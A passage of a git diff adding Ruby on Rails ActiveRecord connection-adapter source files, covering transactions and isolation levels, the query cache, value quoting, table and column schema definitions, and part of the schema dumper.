+ # open database transaction.
+ # - However, if +:requires_new+ is set, the block will be wrapped in a
+ # database savepoint acting as a sub-transaction.
+ #
+ # === Caveats
+ #
+ # MySQL doesn't support DDL transactions. If you perform a DDL operation,
+ # then any created savepoints will be automatically released. For example,
+ # if you've created a savepoint, then you execute a CREATE TABLE statement,
+ # then the savepoint that was created will be automatically released.
+ #
+ # This means that, on MySQL, you shouldn't execute DDL operations inside
+ # a #transaction call that you know might create a savepoint. Otherwise,
+ # #transaction will raise exceptions when it tries to release the
+ # already-automatically-released savepoints:
+ #
+ # Model.connection.transaction do # BEGIN
+ # Model.connection.transaction(requires_new: true) do # CREATE SAVEPOINT active_record_1
+ # Model.connection.create_table(...)
+ # # active_record_1 now automatically released
+ # end # RELEASE SAVEPOINT active_record_1 <--- BOOM! database error!
+ # end
+ #
+ # == Transaction isolation
+ #
+ # If your database supports setting the isolation level for a transaction, you can set
+ # it like so:
+ #
+ # Post.transaction(isolation: :serializable) do
+ # # ...
+ # end
+ #
+ # Valid isolation levels are:
+ #
+ # * <tt>:read_uncommitted</tt>
+ # * <tt>:read_committed</tt>
+ # * <tt>:repeatable_read</tt>
+ # * <tt>:serializable</tt>
+ #
+ # You should consult the documentation for your database to understand the
+ # semantics of these different levels:
+ #
+ # * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
+ # * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
+ #
+ # An <tt>ActiveRecord::TransactionIsolationError</tt> will be raised if:
+ #
+ # * The adapter does not support setting the isolation level
+ # * You are joining an existing open transaction
+ # * You are creating a nested (savepoint) transaction
+ #
+ # The mysql, mysql2 and postgresql adapters support setting the transaction
+ # isolation level. However, support is disabled for mysql versions below 5,
+ # because they are affected by a bug[http://bugs.mysql.com/bug.php?id=39170]
+ # which means the isolation level gets persisted outside the transaction.
+ def transaction(options = {})
+ options.assert_valid_keys :requires_new, :joinable, :isolation
+
+ if !options[:requires_new] && current_transaction.joinable?
+ if options[:isolation]
+ raise ActiveRecord::TransactionIsolationError, "cannot set isolation when joining a transaction"
+ end
+
+ yield
+ else
+ within_new_transaction(options) { yield }
+ end
+ rescue ActiveRecord::Rollback
+ # rollbacks are silently swallowed
+ end
+
+ def within_new_transaction(options = {}) #:nodoc:
+ transaction = begin_transaction(options)
+ yield
+ rescue Exception => error
+ rollback_transaction if transaction
+ raise
+ ensure
+ begin
+ commit_transaction unless error
+ rescue Exception
+ rollback_transaction
+ raise
+ end
+ end
+
+ def current_transaction #:nodoc:
+ @transaction
+ end
+
+ def transaction_open?
+ @transaction.open?
+ end
+
+ def begin_transaction(options = {}) #:nodoc:
+ @transaction = @transaction.begin(options)
+ end
+
+ def commit_transaction #:nodoc:
+ @transaction = @transaction.commit
+ end
+
+ def rollback_transaction #:nodoc:
+ @transaction = @transaction.rollback
+ end
+
+ def reset_transaction #:nodoc:
+ @transaction = ClosedTransaction.new(self)
+ end
+
+ # Register a record with the current transaction so that its after_commit and after_rollback callbacks
+ # can be called.
+ def add_transaction_record(record)
+ @transaction.add_record(record)
+ end
+
+ # Begins the transaction (and turns off auto-committing).
+ def begin_db_transaction() end
+
+ def transaction_isolation_levels
+ {
+ read_uncommitted: "READ UNCOMMITTED",
+ read_committed: "READ COMMITTED",
+ repeatable_read: "REPEATABLE READ",
+ serializable: "SERIALIZABLE"
+ }
+ end
+
+ # Begins the transaction with the isolation level set. Raises an error by
+ # default; adapters that support setting the isolation level should implement
+ # this method.
+ def begin_isolated_db_transaction(isolation)
+ raise ActiveRecord::TransactionIsolationError, "adapter does not support setting transaction isolation"
+ end
+
+ # Commits the transaction (and turns on auto-committing).
+ def commit_db_transaction() end
+
+ # Rolls back the transaction (and turns on auto-committing). Must be
+ # done if the transaction block raises an exception or returns false.
+ def rollback_db_transaction() end
+
+ def default_sequence_name(table, column)
+ nil
+ end
+
+ # Set the sequence to the max value of the table's column.
+ def reset_sequence!(table, column, sequence = nil)
+ # Do nothing by default. Implement for PostgreSQL, Oracle, ...
+ end
+
+ # Inserts the given fixture into the table. Overridden in adapters that require
+ # something beyond a simple insert (eg. Oracle).
+ def insert_fixture(fixture, table_name)
+ columns = schema_cache.columns_hash(table_name)
+
+ key_list = []
+ value_list = fixture.map do |name, value|
+ key_list << quote_column_name(name)
+ quote(value, columns[name])
+ end
+
+ execute "INSERT INTO #{quote_table_name(table_name)} (#{key_list.join(', ')}) VALUES (#{value_list.join(', ')})", 'Fixture Insert'
+ end
+
+ def empty_insert_statement_value
+ "DEFAULT VALUES"
+ end
+
+ def case_sensitive_equality_operator
+ "="
+ end
+
+ def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
+ "WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
+ end
+
+ # Sanitizes the given LIMIT parameter in order to prevent SQL injection.
+ #
+ # The +limit+ may be anything that can evaluate to a string via #to_s. It
+ # should look like an integer, or a comma-delimited list of integers, or
+ # an Arel SQL literal.
+ #
+ # Returns Integer and Arel::Nodes::SqlLiteral limits as is.
+ # Returns the sanitized limit parameter, either as an integer, or as a
+ # string which contains a comma-delimited list of integers.
+ def sanitize_limit(limit)
+ if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
+ limit
+ elsif limit.to_s =~ /,/
+ Arel.sql limit.to_s.split(',').map{ |i| Integer(i) }.join(',')
+ else
+ Integer(limit)
+ end
+ end
+
+ # The default strategy for an UPDATE with joins is to use a subquery. This doesn't work
+ # on mysql (even when aliasing the tables), but mysql allows using JOIN directly in
+ # an UPDATE statement, so in the mysql adapters we redefine this to do that.
+ def join_to_update(update, select) #:nodoc:
+ key = update.key
+ subselect = subquery_for(key, select)
+
+ update.where key.in(subselect)
+ end
+
+ def join_to_delete(delete, select, key) #:nodoc:
+ subselect = subquery_for(key, select)
+
+ delete.where key.in(subselect)
+ end
+
+ protected
+
+ # Return a subquery for the given key using the join information.
+ def subquery_for(key, select)
+ subselect = select.clone
+ subselect.projections = [key]
+ subselect
+ end
+
+ # Returns an array of record hashes with the column names as keys and
+ # column values as values.
+ def select(sql, name = nil, binds = [])
+ end
+ undef_method :select
+
+ # Returns the last auto-generated ID from the affected table.
+ def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil)
+ execute(sql, name)
+ id_value
+ end
+
+ # Executes the update statement and returns the number of rows affected.
+ def update_sql(sql, name = nil)
+ execute(sql, name)
+ end
+
+ # Executes the delete statement and returns the number of rows affected.
+ def delete_sql(sql, name = nil)
+ update_sql(sql, name)
+ end
+
+ def sql_for_insert(sql, pk, id_value, sequence_name, binds)
+ [sql, binds]
+ end
+
+ def last_inserted_id(result)
+ row = result.rows.first
+ row && row.first
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
new file mode 100644
index 0000000..41e07fb
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -0,0 +1,95 @@
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ module QueryCache
+ class << self
+ def included(base) #:nodoc:
+ dirties_query_cache base, :insert, :update, :delete
+ end
+
+ def dirties_query_cache(base, *method_names)
+ method_names.each do |method_name|
+ base.class_eval <<-end_code, __FILE__, __LINE__ + 1
+ def #{method_name}(*) # def update_with_query_dirty(*)
+ clear_query_cache if @query_cache_enabled # clear_query_cache if @query_cache_enabled
+ super # super
+ end # end
+ end_code
+ end
+ end
+ end
+
+ attr_reader :query_cache, :query_cache_enabled
+
+ # Enable the query cache within the block.
+ def cache
+ old, @query_cache_enabled = @query_cache_enabled, true
+ yield
+ ensure
+ clear_query_cache
+ @query_cache_enabled = old
+ end
+
+ def enable_query_cache!
+ @query_cache_enabled = true
+ end
+
+ def disable_query_cache!
+ @query_cache_enabled = false
+ end
+
+ # Disable the query cache within the block.
+ def uncached
+ old, @query_cache_enabled = @query_cache_enabled, false
+ yield
+ ensure
+ @query_cache_enabled = old
+ end
+
+ # Clears the query cache.
+ #
+ # One reason you may wish to call this method explicitly is between queries
+ # that ask the database to randomize results. Otherwise the cache would see
+ # the same SQL query and repeatedly return the same result each time, silently
+ # undermining the randomness you were expecting.
+ def clear_query_cache
+ @query_cache.clear
+ end
+
+ def select_all(arel, name = nil, binds = [])
+ if @query_cache_enabled && !locked?(arel)
+ sql = to_sql(arel, binds)
+ cache_sql(sql, binds) { super(sql, name, binds) }
+ else
+ super
+ end
+ end
+
+ private
+
+ def cache_sql(sql, binds)
+ result =
+ if @query_cache[sql].key?(binds)
+ ActiveSupport::Notifications.instrument("sql.active_record",
+ :sql => sql, :binds => binds, :name => "CACHE", :connection_id => object_id)
+ @query_cache[sql][binds]
+ else
+ @query_cache[sql][binds] = yield
+ end
+
+ # FIXME: we should guarantee that all cached items are Result
+ # objects. Then we can avoid this conditional
+ if ActiveRecord::Result === result
+ result.dup
+ else
+ result.collect { |row| row.dup }
+ end
+ end
+
+ # If arel is locked this is a SELECT ... FOR UPDATE or somesuch. Such
+ # queries should not be cached.
+ def locked?(arel)
+ arel.respond_to?(:locked) && arel.locked
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
new file mode 100644
index 0000000..d18b9c9
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -0,0 +1,129 @@
+require 'active_support/core_ext/big_decimal/conversions'
+
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ module Quoting
+ # Quotes the column value to help prevent
+ # {SQL injection attacks}[http://en.wikipedia.org/wiki/SQL_injection].
+ def quote(value, column = nil)
+ # records are quoted as their primary key
+ return value.quoted_id if value.respond_to?(:quoted_id)
+
+ case value
+ when String, ActiveSupport::Multibyte::Chars
+ value = value.to_s
+ return "'#{quote_string(value)}'" unless column
+
+ case column.type
+ when :binary then "'#{quote_string(column.string_to_binary(value))}'"
+ when :integer then value.to_i.to_s
+ when :float then value.to_f.to_s
+ else
+ "'#{quote_string(value)}'"
+ end
+
+ when true, false
+ if column && column.type == :integer
+ value ? '1' : '0'
+ else
+ value ? quoted_true : quoted_false
+ end
+ # BigDecimals need to be put in a non-normalized form and quoted.
+ when nil then "NULL"
+ when BigDecimal then value.to_s('F')
+ when Numeric, ActiveSupport::Duration then value.to_s
+ when Date, Time then "'#{quoted_date(value)}'"
+ when Symbol then "'#{quote_string(value.to_s)}'"
+ when Class then "'#{value.to_s}'"
+ else
+ "'#{quote_string(YAML.dump(value))}'"
+ end
+ end
+
+ # Cast a +value+ to a type that the database understands. For example,
+ # SQLite does not understand dates, so this method will convert a Date
+ # to a String.
+ def type_cast(value, column)
+ return value.id if value.respond_to?(:quoted_id)
+
+ case value
+ when String, ActiveSupport::Multibyte::Chars
+ value = value.to_s
+ return value unless column
+
+ case column.type
+ when :binary then value
+ when :integer then value.to_i
+ when :float then value.to_f
+ else
+ value
+ end
+
+ when true, false
+ if column && column.type == :integer
+ value ? 1 : 0
+ else
+ value ? 't' : 'f'
+ end
+ # BigDecimals need to be put in a non-normalized form and quoted.
+ when nil then nil
+ when BigDecimal then value.to_s('F')
+ when Numeric then value
+ when Date, Time then quoted_date(value)
+ when Symbol then value.to_s
+ else
+ to_type = column ? " to #{column.type}" : ""
+ raise TypeError, "can't cast #{value.class}#{to_type}"
+ end
+ end
+
+ # Quotes a string, escaping any ' (single quote) and \ (backslash)
+ # characters.
+ def quote_string(s)
+ s.gsub(/\\/, '\&\&').gsub(/'/, "''") # ' (for ruby-mode)
+ end
+
+ # Quotes the column name. Defaults to no quoting.
+ def quote_column_name(column_name)
+ column_name
+ end
+
+ # Quotes the table name. Defaults to column name quoting.
+ def quote_table_name(table_name)
+ quote_column_name(table_name)
+ end
+
+ # Override to return the quoted table name for assignment. Defaults to
+ # table quoting.
+ #
+ # This works for mysql and mysql2 where table.column can be used to
+ # resolve ambiguity.
+ #
+ # We override this in the sqlite and postgresql adapters to use only
+ # the column name (as per syntax requirements).
+ def quote_table_name_for_assignment(table, attr)
+ quote_table_name("#{table}.#{attr}")
+ end
+
+ def quoted_true
+ "'t'"
+ end
+
+ def quoted_false
+ "'f'"
+ end
+
+ def quoted_date(value)
+ if value.acts_like?(:time)
+ zone_conversion_method = ActiveRecord::Base.default_timezone == :utc ? :getutc : :getlocal
+
+ if value.respond_to?(zone_conversion_method)
+ value = value.send(zone_conversion_method)
+ end
+ end
+
+ value.to_s(:db)
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
new file mode 100644
index 0000000..566550c
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -0,0 +1,501 @@
+require 'date'
+require 'set'
+require 'bigdecimal'
+require 'bigdecimal/util'
+
+module ActiveRecord
+ module ConnectionAdapters #:nodoc:
+ # Abstract representation of an index definition on a table. Instances of
+ # this type are typically created and returned by methods in database
+ # adapters. e.g. ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter#indexes
+ class IndexDefinition < Struct.new(:table, :name, :unique, :columns, :lengths, :orders, :where, :type, :using) #:nodoc:
+ end
+
+ # Abstract representation of a column definition. Instances of this type
+ # are typically created by methods in TableDefinition, and added to the
+ # +columns+ attribute of said TableDefinition object, in order to be used
+ # for generating a number of table creation or table changing SQL statements.
+ class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :primary_key) #:nodoc:
+ def string_to_binary(value)
+ value
+ end
+
+ def primary_key?
+ primary_key || type.to_sym == :primary_key
+ end
+ end
+
+ # Represents the schema of an SQL table in an abstract way. This class
+ # provides methods for manipulating the schema representation.
+ #
+ # Inside migration files, the +t+ object in +create_table+
+ # is actually of this type:
+ #
+ # class SomeMigration < ActiveRecord::Migration
+ # def up
+ # create_table :foo do |t|
+ # puts t.class # => "ActiveRecord::ConnectionAdapters::TableDefinition"
+ # end
+ # end
+ #
+ # def down
+ # ...
+ # end
+ # end
+ #
+ # The table definitions
+ # The Columns are stored as a ColumnDefinition in the +columns+ attribute.
+ class TableDefinition
+ # An array of ColumnDefinition objects, representing the column changes
+ # that have been defined.
+ attr_accessor :indexes
+ attr_reader :name, :temporary, :options
+
+ def initialize(types, name, temporary, options)
+ @columns_hash = {}
+ @indexes = {}
+ @native = types
+ @temporary = temporary
+ @options = options
+ @name = name
+ end
+
+ def columns; @columns_hash.values; end
+
+ # Appends a primary key definition to the table definition.
+ # Can be called multiple times, but this is probably not a good idea.
+ def primary_key(name, type = :primary_key, options = {})
+ options[:primary_key] = true
+ column(name, type, options)
+ end
+
+ # Returns a ColumnDefinition for the column with name +name+.
+ def [](name)
+ @columns_hash[name.to_s]
+ end
+
+ # Instantiates a new column for the table.
+ # The +type+ parameter is normally one of the migrations native types,
+ # which is one of the following:
+ # <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>,
+ # <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>,
+ # <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>,
+ # <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.
+ #
+ # You may use a type not in this list as long as it is supported by your
+ # database (for example, "polygon" in MySQL), but this will not be database
+ # agnostic and should usually be avoided.
+ #
+ # Available options are (none of these exists by default):
+ # * <tt>:limit</tt> -
+ # Requests a maximum column length. This is number of characters for <tt>:string</tt> and
+ # <tt>:text</tt> columns and number of bytes for <tt>:binary</tt> and <tt>:integer</tt> columns.
+ # * <tt>:default</tt> -
+ # The column's default value. Use nil for NULL.
+ # * <tt>:null</tt> -
+ # Allows or disallows +NULL+ values in the column. This option could
+ # have been named <tt>:null_allowed</tt>.
+ # * <tt>:precision</tt> -
+ # Specifies the precision for a <tt>:decimal</tt> column.
+ # * <tt>:scale</tt> -
+ # Specifies the scale for a <tt>:decimal</tt> column.
+ #
+ # For clarity's sake: the precision is the number of significant digits,
+ # while the scale is the number of digits that can be stored following
+ # the decimal point. For example, the number 123.45 has a precision of 5
+ # and a scale of 2. A decimal with a precision of 5 and a scale of 2 can
+ # range from -999.99 to 999.99.
+ #
+ # Please be aware of different RDBMS implementations behavior with
+ # <tt>:decimal</tt> columns:
+ # * The SQL standard says the default scale should be 0, <tt>:scale</tt> <=
+ # <tt>:precision</tt>, and makes no comments about the requirements of
+ # <tt>:precision</tt>.
+ # * MySQL: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..30].
+ # Default is (10,0).
+ # * PostgreSQL: <tt>:precision</tt> [1..infinity],
+ # <tt>:scale</tt> [0..infinity]. No default.
+ # * SQLite2: Any <tt>:precision</tt> and <tt>:scale</tt> may be used.
+ # Internal storage as strings. No default.
+ # * SQLite3: No restrictions on <tt>:precision</tt> and <tt>:scale</tt>,
+ # but the maximum supported <tt>:precision</tt> is 16. No default.
+ # * Oracle: <tt>:precision</tt> [1..38], <tt>:scale</tt> [-84..127].
+ # Default is (38,0).
+ # * DB2: <tt>:precision</tt> [1..63], <tt>:scale</tt> [0..62].
+ # Default unknown.
+ # * Firebird: <tt>:precision</tt> [1..18], <tt>:scale</tt> [0..18].
+ # Default (9,0). Internal types NUMERIC and DECIMAL have different
+ # storage rules, decimal being better.
+ # * FrontBase?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+ # Default (38,0). WARNING Max <tt>:precision</tt>/<tt>:scale</tt> for
+ # NUMERIC is 19, and DECIMAL is 38.
+ # * SqlServer?: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+ # Default (38,0).
+ # * Sybase: <tt>:precision</tt> [1..38], <tt>:scale</tt> [0..38].
+ # Default (38,0).
+ # * OpenBase?: Documentation unclear. Claims storage in <tt>double</tt>.
+ #
+ # This method returns <tt>self</tt>.
+ #
+ # == Examples
+ # # Assuming +td+ is an instance of TableDefinition
+ # td.column(:granted, :boolean)
+ # # granted BOOLEAN
+ #
+ # td.column(:picture, :binary, limit: 2.megabytes)
+ # # => picture BLOB(2097152)
+ #
+ # td.column(:sales_stage, :string, limit: 20, default: 'new', null: false)
+ # # => sales_stage VARCHAR(20) DEFAULT 'new' NOT NULL
+ #
+ # td.column(:bill_gates_money, :decimal, precision: 15, scale: 2)
+ # # => bill_gates_money DECIMAL(15,2)
+ #
+ # td.column(:sensor_reading, :decimal, precision: 30, scale: 20)
+ # # => sensor_reading DECIMAL(30,20)
+ #
+ # # While <tt>:scale</tt> defaults to zero on most databases, it
+ # # probably wouldn't hurt to include it.
+ # td.column(:huge_integer, :decimal, precision: 30)
+ # # => huge_integer DECIMAL(30)
+ #
+ # # Defines a column with a database-specific type.
+ # td.column(:foo, 'polygon')
+ # # => foo polygon
+ #
+ # == Short-hand examples
+ #
+ # Instead of calling +column+ directly, you can also work with the short-hand definitions for the default types.
+ # They use the type as the method name instead of as a parameter and allow for multiple columns to be defined
+ # in a single statement.
+ #
+ # What can be written like this with the regular calls to column:
+ #
+ # create_table :products do |t|
+ # t.column :shop_id, :integer
+ # t.column :creator_id, :integer
+ # t.column :name, :string, default: "Untitled"
+ # t.column :value, :string, default: "Untitled"
+ # t.column :created_at, :datetime
+ # t.column :updated_at, :datetime
+ # end
+ #
+ # can also be written as follows using the short-hand:
+ #
+ # create_table :products do |t|
+ # t.integer :shop_id, :creator_id
+ # t.string :name, :value, default: "Untitled"
+ # t.timestamps
+ # end
+ #
+ # There's a short-hand method for each of the type values declared at the top. And then there's
+ # TableDefinition#timestamps that'll add +created_at+ and +updated_at+ as datetimes.
+ #
+ # TableDefinition#references will add an appropriately-named _id column, plus a corresponding _type
+ # column if the <tt>:polymorphic</tt> option is supplied. If <tt>:polymorphic</tt> is a hash of
+ # options, these will be used when creating the <tt>_type</tt> column. The <tt>:index</tt> option
+ # will also create an index, similar to calling <tt>add_index</tt>. So what can be written like this:
+ #
+ # create_table :taggings do |t|
+ # t.integer :tag_id, :tagger_id, :taggable_id
+ # t.string :tagger_type
+ # t.string :taggable_type, default: 'Photo'
+ # end
+ # add_index :taggings, :tag_id, name: 'index_taggings_on_tag_id'
+ # add_index :taggings, [:tagger_id, :tagger_type]
+ #
+ # Can also be written as follows using references:
+ #
+ # create_table :taggings do |t|
+ # t.references :tag, index: { name: 'index_taggings_on_tag_id' }
+ # t.references :tagger, polymorphic: true, index: true
+ # t.references :taggable, polymorphic: { default: 'Photo' }
+ # end
+ def column(name, type, options = {})
+ name = name.to_s
+ type = type.to_sym
+
+ if primary_key_column_name == name
+ raise ArgumentError, "you can't redefine the primary key column '#{name}'. To define a custom primary key, pass { id: false } to create_table."
+ end
+
+ @columns_hash[name] = new_column_definition(name, type, options)
+ self
+ end
+
+ def remove_column(name)
+ @columns_hash.delete name.to_s
+ end
+
+ [:string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean].each do |column_type|
+ define_method column_type do |*args|
+ options = args.extract_options!
+ column_names = args
+ column_names.each { |name| column(name, column_type, options) }
+ end
+ end
+
+ # Adds index options to the indexes hash, keyed by column name
+ # This is primarily used to track indexes that need to be created after the table
+ #
+ # index(:account_id, name: 'index_projects_on_account_id')
+ def index(column_name, options = {})
+ indexes[column_name] = options
+ end
+
+ # Appends <tt>:datetime</tt> columns <tt>:created_at</tt> and
+ # <tt>:updated_at</tt> to the table.
+ def timestamps(*args)
+ options = args.extract_options!
+ column(:created_at, :datetime, options)
+ column(:updated_at, :datetime, options)
+ end
+
+ def references(*args)
+ options = args.extract_options!
+ polymorphic = options.delete(:polymorphic)
+ index_options = options.delete(:index)
+ args.each do |col|
+ column("#{col}_id", :integer, options)
+ column("#{col}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
+ index(polymorphic ? %w(id type).map { |t| "#{col}_#{t}" } : "#{col}_id", index_options.is_a?(Hash) ? index_options : {}) if index_options
+ end
+ end
+ alias :belongs_to :references
+
+ def new_column_definition(name, type, options) # :nodoc:
+ column = create_column_definition name, type
+ limit = options.fetch(:limit) do
+ native[type][:limit] if native[type].is_a?(Hash)
+ end
+
+ column.limit = limit
+ column.precision = options[:precision]
+ column.scale = options[:scale]
+ column.default = options[:default]
+ column.null = options[:null]
+ column.first = options[:first]
+ column.after = options[:after]
+ column.primary_key = type == :primary_key || options[:primary_key]
+ column
+ end
+
+ private
+ def create_column_definition(name, type)
+ ColumnDefinition.new name, type
+ end
+
+ def primary_key_column_name
+ primary_key_column = columns.detect { |c| c.primary_key? }
+ primary_key_column && primary_key_column.name
+ end
+
+ def native
+ @native
+ end
+ end
+
+ class AlterTable # :nodoc:
+ attr_reader :adds
+
+ def initialize(td)
+ @td = td
+ @adds = []
+ end
+
+ def name; @td.name; end
+
+ def add_column(name, type, options)
+ name = name.to_s
+ type = type.to_sym
+ @adds << @td.new_column_definition(name, type, options)
+ end
+ end
+
+ # Represents an SQL table in an abstract way for updating a table.
+ # Also see TableDefinition and SchemaStatements#create_table
+ #
+ # Available transformations are:
+ #
+ # change_table :table do |t|
+ # t.column
+ # t.index
+ # t.rename_index
+ # t.timestamps
+ # t.change
+ # t.change_default
+ # t.rename
+ # t.references
+ # t.belongs_to
+ # t.string
+ # t.text
+ # t.integer
+ # t.float
+ # t.decimal
+ # t.datetime
+ # t.timestamp
+ # t.time
+ # t.date
+ # t.binary
+ # t.boolean
+ # t.remove
+ # t.remove_references
+ # t.remove_belongs_to
+ # t.remove_index
+ # t.remove_timestamps
+ # end
+ #
+ class Table
+ def initialize(table_name, base)
+ @table_name = table_name
+ @base = base
+ end
+
+ # Adds a new column to the named table.
+ # See TableDefinition#column for details of the options you can use.
+ #
+ # ====== Creating a simple column
+ # t.column(:name, :string)
+ def column(column_name, type, options = {})
+ @base.add_column(@table_name, column_name, type, options)
+ end
+
+ # Checks to see if a column exists. See SchemaStatements#column_exists?
+ def column_exists?(column_name, type = nil, options = {})
+ @base.column_exists?(@table_name, column_name, type, options)
+ end
+
+ # Adds a new index to the table. +column_name+ can be a single Symbol, or
+ # an Array of Symbols. See SchemaStatements#add_index
+ #
+ # ====== Creating a simple index
+ # t.index(:name)
+ # ====== Creating a unique index
+ # t.index([:branch_id, :party_id], unique: true)
+ # ====== Creating a named index
+ # t.index([:branch_id, :party_id], unique: true, name: 'by_branch_party')
+ def index(column_name, options = {})
+ @base.add_index(@table_name, column_name, options)
+ end
+
+ # Checks to see if an index exists. See SchemaStatements#index_exists?
+ def index_exists?(column_name, options = {})
+ @base.index_exists?(@table_name, column_name, options)
+ end
+
+ # Renames the given index on the table.
+ #
+ # t.rename_index(:user_id, :account_id)
+ def rename_index(index_name, new_index_name)
+ @base.rename_index(@table_name, index_name, new_index_name)
+ end
+
+ # Adds timestamps (+created_at+ and +updated_at+) columns to the table. See SchemaStatements#add_timestamps
+ #
+ # t.timestamps
+ def timestamps
+ @base.add_timestamps(@table_name)
+ end
+
+ # Changes the column's definition according to the new options.
+ # See TableDefinition#column for details of the options you can use.
+ #
+ # t.change(:name, :string, limit: 80)
+ # t.change(:description, :text)
+ def change(column_name, type, options = {})
+ @base.change_column(@table_name, column_name, type, options)
+ end
+
+ # Sets a new default value for a column. See SchemaStatements#change_column_default
+ #
+ # t.change_default(:qualification, 'new')
+ # t.change_default(:authorized, 1)
+ def change_default(column_name, default)
+ @base.change_column_default(@table_name, column_name, default)
+ end
+
+ # Removes the column(s) from the table definition.
+ #
+ # t.remove(:qualification)
+ # t.remove(:qualification, :experience)
+ def remove(*column_names)
+ @base.remove_columns(@table_name, *column_names)
+ end
+
+ # Removes the given index from the table.
+ #
+ # ====== Remove the index_table_name_on_column in the table_name table
+ # t.remove_index :column
+ # ====== Remove the index named index_table_name_on_branch_id in the table_name table
+ # t.remove_index column: :branch_id
+ # ====== Remove the index named index_table_name_on_branch_id_and_party_id in the table_name table
+ # t.remove_index column: [:branch_id, :party_id]
+ # ====== Remove the index named by_branch_party in the table_name table
+ # t.remove_index name: :by_branch_party
+ def remove_index(options = {})
+ @base.remove_index(@table_name, options)
+ end
+
+ # Removes the timestamp columns (+created_at+ and +updated_at+) from the table.
+ #
+ # t.remove_timestamps
+ def remove_timestamps
+ @base.remove_timestamps(@table_name)
+ end
+
+ # Renames a column.
+ #
+ # t.rename(:description, :name)
+ def rename(column_name, new_column_name)
+ @base.rename_column(@table_name, column_name, new_column_name)
+ end
+
+ # Adds a reference. Optionally adds a +type+ column, if <tt>:polymorphic</tt> option is provided.
+ # <tt>references</tt> and <tt>belongs_to</tt> are acceptable.
+ #
+ # t.references(:user)
+ # t.belongs_to(:supplier, polymorphic: true)
+ #
+ def references(*args)
+ options = args.extract_options!
+ args.each do |ref_name|
+ @base.add_reference(@table_name, ref_name, options)
+ end
+ end
+ alias :belongs_to :references
+
+ # Removes a reference. Optionally removes a +type+ column.
+ # <tt>remove_references</tt> and <tt>remove_belongs_to</tt> are acceptable.
+ #
+ # t.remove_references(:user)
+ # t.remove_belongs_to(:supplier, polymorphic: true)
+ #
+ def remove_references(*args)
+ options = args.extract_options!
+ args.each do |ref_name|
+ @base.remove_reference(@table_name, ref_name, options)
+ end
+ end
+ alias :remove_belongs_to :remove_references
+
+ # Adds a column or columns of a specified type
+ #
+ # t.string(:goat)
+ # t.string(:goat, :sheep)
+ [:string, :text, :integer, :float, :decimal, :datetime, :timestamp, :time, :date, :binary, :boolean].each do |column_type|
+ define_method column_type do |*args|
+ options = args.extract_options!
+ args.each do |name|
+ @base.add_column(@table_name, name, column_type, options)
+ end
+ end
+ end
+
+ private
+ def native
+ @base.native_database_types
+ end
+ end
+
+ end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
new file mode 100644
index 0000000..cdf0cbe
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_dumper.rb
@@ -0,0 +1,70 @@
+require 'ipaddr'
+
+module ActiveRecord
+ module ConnectionAdapters # :nodoc:
+ # The goal of this module is to move Adapter specific column
+ # definitions to the Adapter instead of having it in the schema
+ # dumper itself. This code represents the normal case.
+ # We can then redefine how certain data types may be handled in the schema dumper on the
+ # Adapter level by over-writing this code inside the database specific adapters
+ module ColumnDumper
+ def column_spec(column, types)
+ spec = prepare_column_options(column, types)
+ (spec.keys - [:name, :type]).each{ |k| spec[k].insert(0, "#{k.to_s}: ")}
+ spec
+ end
+
+ # This can be overridden on a Adapter level basis to support other
+ # extended datatypes (Example: Adding an array option in the
+ # PostgreSQLAdapter)
+ def prepare_column_options(column, types)
+ spec = {}
+ spec[:name] = column.name.inspect
+
+ # AR has an optimization which handles zero-scale decimals as integers. This
+ # code ensures that the dumper still dumps the column as a decimal.
+ spec[:type] = if column.type == :integer && /^(numeric|decimal)/ =~ column.sql_type
+ 'decimal'
+ else
+ column.type.to_s
+ end
+ spec[:limit] = column.limit.inspect if column.limit != types[column.type][:limit] && spec[:type] != 'decimal'
+ spec[:precision] = column.precision.inspect if column.precision
+ spec[:scale] = column.scale.inspect if column.scale
+ spec[:null] = 'false' unless column.null
+ spec[:default] = default_string(column.default) if column.has_default?
+ spec
+ end
+
+ # Lists the valid migration options
+ def migration_keys
+ [:name, :limit, :precision, :scale, :default, :null]
+ end
+
+ private
+
+ def default_string(value)
+ case value
+ when BigDecimal
+ value.to_s
+ when Date, DateTime, Time
+ "'#{value.to_s(:db)}'"
+ when Range
+ # infinity dumps as Infinity, which causes uninitialized constant error
+ value.inspect.gsub('Infinity', '::Float::INFINITY')
+ when IPAddr
+ subnet_mask = value.instance_variable_get(:@mask_addr)
+
